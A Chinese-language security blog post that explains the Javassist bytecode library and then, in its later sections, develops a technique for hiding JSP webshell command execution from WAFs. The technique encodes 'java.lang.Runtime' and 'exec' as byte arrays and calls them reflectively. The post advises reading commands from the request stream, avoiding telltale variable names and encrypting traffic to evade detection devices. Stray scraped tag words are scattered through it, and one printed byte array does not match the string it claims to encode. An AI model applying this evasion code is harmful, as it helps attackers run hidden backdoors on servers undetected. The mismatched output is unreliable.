Java安全之Javassist動態編程

Java安全之Javassist動態編程

0x00 前言

在調試CC2鏈前先來填補知識盲區,先來了解一下Javassist具體的做用。在CC2鏈會用到Javassist以及PriorityQueue來構造利用鏈java

0x01 Javassist 介紹

Java 字節碼以二進制的形式存儲在 class 文件中,每個 class 文件包含一個 Java 類或接口。Javaassist 就是一個用來處理 Java 字節碼的類庫。web

Javassist是一個開源的分析、編輯和建立Java字節碼的類庫。shell

0x02 Javassist 使用

這裏主要講一下主要的幾個類:編程

ClassPool

ClassPool:一個基於哈希表(Hashtable)實現的CtClass對象容器,其中鍵名是類名稱,值是表示該類的CtClass對象(HashtableHashmap相似都是實現map接口,hashmap能夠接收null的值,可是Hashtable不行)。安全

經常使用方法:

static ClassPool	getDefault()
	返回默認的類池。
ClassPath	insertClassPath(java.lang.String pathname)	
	在搜索路徑的開頭插入目錄或jar(或zip)文件。
ClassPath	insertClassPath(ClassPath cp)	
	ClassPath在搜索路徑的開頭插入一個對象。
java.lang.ClassLoader	getClassLoader()	
	獲取類加載器toClass(),getAnnotations()在 CtClass等
CtClass	get(java.lang.String classname)	
	從源中讀取類文件,並返回對CtClass 表示該類文件的對象的引用。
ClassPath	appendClassPath(ClassPath cp)	
	將ClassPath對象附加到搜索路徑的末尾。
CtClass	makeClass(java.lang.String classname)
	建立一個新的public類

CtClass

CtClass表示類,一個CtClass(編譯時類)對象能夠處理一個class文件,這些CtClass對象能夠從ClassPoold的一些方法得到。app

經常使用方法:

void	setSuperclass(CtClass clazz)
	更改超類,除非此對象表示接口。
java.lang.Class<?>	toClass(java.lang.invoke.MethodHandles.Lookup lookup)	
	將此類轉換爲java.lang.Class對象。
byte[]	toBytecode()	
	將該類轉換爲類文件。
void	writeFile()	
	將由此CtClass 對象表示的類文件寫入當前目錄。
void	writeFile(java.lang.String directoryName)	
	將由此CtClass 對象表示的類文件寫入本地磁盤。
CtConstructor	makeClassInitializer()	
	製做一個空的類初始化程序(靜態構造函數)。

CtMethod

CtMethod:表示類中的方法。函數

CtConstructor

CtConstructor的實例表示一個構造函數。它可能表明一個靜態構造函數(類初始化器)。ui

經常使用方法

void	setBody(java.lang.String src)	
	設置構造函數主體。
void	setBody(CtConstructor src, ClassMap map)	
	從另外一個構造函數複製一個構造函數主體。
CtMethod	toMethod(java.lang.String name, CtClass declaring)	
	複製此構造函數並將其轉換爲方法。

ClassClassPath

該類做用是用於經過 getResourceAsStream() 在 java.lang.Class 中獲取類文件的搜索路徑。this

構造方法:加密

ClassClassPath(java.lang.Class<?> c)	
	建立一個搜索路徑。

常見方法:

java.net.URL	find (java.lang.String classname)	
	獲取指定類文件的URL。
java.io.InputStream	openClassfile(java.lang.String classname)	
	經過獲取類文getResourceAsStream()。

代碼實例:

ClassPool pool = ClassPool.getDefault();

在默認系統搜索路徑獲取ClassPool對象。

若是須要修改類搜索的路徑須要使用insertClassPath方法進行修改。

pool.insertClassPath(new ClassClassPath(this.getClass()));

將本類所在的路徑插入到搜索路徑中

toBytecode

package com.demo;

import javassist.*;


import java.io.IOException;
import java.util.Arrays;

public class testssit {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(demo.class.getClass()));
        CtClass ctClass = pool.get("com.demo.test");
        ctClass.setSuperclass(pool.get("com.demo.test"));
//        System.out.println(ctClass);
        byte[] bytes = ctClass.toBytecode();
        String s = Arrays.toString(bytes);
        System.out.println(s);
    }

}

toClass

Hello類:
public class Hello {
    public void say() {
        System.out.println("Hello");
    }
}
Test 類
public class Test {
    public static void main(String[] args) throws Exception {
        ClassPool cp = ClassPool.getDefault();//在默認系統搜索路徑獲取ClassPool對象。
        CtClass cc = cp.get("com.demo.Hello");  //獲取hello類的
        CtMethod m = cc.getDeclaredMethod("say"); //獲取hello類的say方法
        m.insertBefore("{ System.out.println(\"Hello.say():\"); }");//在正文的開頭插入字節碼
        Class c = cc.toClass();//將此類轉換爲java.lang.Class對象
        Hello h = (Hello)c.newInstance(); //反射建立對象並進行強轉
        h.say();調用方法say
    }
}

0x03 一些小想法

按照個人理解來講就是能夠去將類和字節碼進行互相轉換。那麼按照這個思路來延申的話,咱們能夠作到什麼呢?我首先想到的可能就是webshell的一些免殺,例如說Jsp的最多見的一些webshell,都是採用RuntimeProcessBuilder這兩個類去進行構造,執行命令。按照WAF的慣性這些設備確定是把這些常見的執行命令函數給拉入黑名單裏面去。那麼若是說能夠轉換成字節碼的話呢?字節碼確定是不會被殺的。若是說這時候將Runtime這個類轉換成字節碼,內嵌在Jsp中,後面再使用Javassist來將字節碼還原成類的話,若是轉換的幾個方法沒被殺的話,是能夠實現過WAF的。固然這些也只是個人一些臆想,由於Javassist並非JDK中自帶的,實現的話後面能夠再研究一下。可是類加載器確定是能夠去加載字節碼,而後實現執行命令的。這裏只是拋磚引玉,更多的就不細說了。若是有更好的想法也能夠提出來一塊兒去交流。

0x04 想法實現

這裏能夠來思考一個問題,該怎麼樣才能動態傳入參數去執行呢?那能想到的確定是反射。若是咱們用上面的思路,把所有代碼都轉換成字節碼的話,其實就沒有多大意義了。由於全是固定死的東西,他也只會執行而且獲得同一個執行結果。

我在這裏能想到的就是將部分在代碼裏面固定死的代碼給轉換成字節碼,而後再使用反射的方式去調用。

public class test {
    public static void main(String[] args) {
        String string ="java.lang.Runtime";
        byte[] bytes1 = string.getBytes();
        System.out.println(Arrays.toString(bytes1));
        


    }
}

獲取結果:

[106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108]

如今已是把結果給獲取到了,可是咱們須要知道字節碼怎麼樣還原爲String類型。

在後面翻閱資料的時候,發現String的構造方法就直接能執行,來看看他的官方文檔。

使用bytes去構造一個新的String

代碼:

public class test {
    public static void main(String[] args) {
        byte[] bytes = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
        String s = new String(bytes);
        System.out.println(s);
    }
}

public class test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
        String run = new String(b1);
        String command = "ipconfig";


        Class aClass = Class.forName(run);
        Constructor declaredConstructor = aClass.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance();
        Method exec = aClass.getMethod("exec", String.class);
        Process process = (Process) exec.invoke(o,command);
        InputStream inputStream = process.getInputStream();    //獲取輸出的數據
        String ipconfig = IOUtils.toString(inputStream,"gbk"); //字節輸出流轉換爲字符
        System.out.println(ipconfig);



    }
}

命令執行成功。

那麼這就是一段完整的代碼,可是還有些地方處理得不是很好,好比:

Method exec = aClass.getMethod("exec", String.class);

這裏是反射獲取exec方法,這裏的exec是固定的。exec這個對於一些設備來講也是嚴殺的。

那麼在這裏就能夠來處理一下,也轉換成字節碼。

轉換後的字節碼:

[101, 120, 101, 99]

改進一下代碼:

public class test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        String command = "ipconfig";
        byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
        String run = new String(b1);
        byte[] b2 = new byte[]{101, 120, 101, 99};
        String cm = new String(b2);
        


        Class aClass = Class.forName(run);
        Constructor declaredConstructor = aClass.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance();
        Method exec = aClass.getMethod(cm, String.class);
        Process process = (Process) exec.invoke(o,command);
        InputStream inputStream = process.getInputStream();    //獲取輸出的數據
        String ipconfig = IOUtils.toString(inputStream,"gbk"); //字節輸出流轉換爲字符
        System.out.println(ipconfig);

    }
}

實際中運用就別用啥ipconfigcommand這些來命名了,這些都是一些敏感詞。這裏只是爲了方便理解。

在真實狀況下應該是request.getInputStream()來獲取輸入的命令的。那麼這裏也還須要注意傳輸的時候進行加密,否則流量確定也是過不了設備的。

0x05 結尾

其實後面這些內容是跑偏題了,由於是後面忽然纔想到的這麼一個東西。因此將他給記錄下來。

相關文章
相關標籤/搜索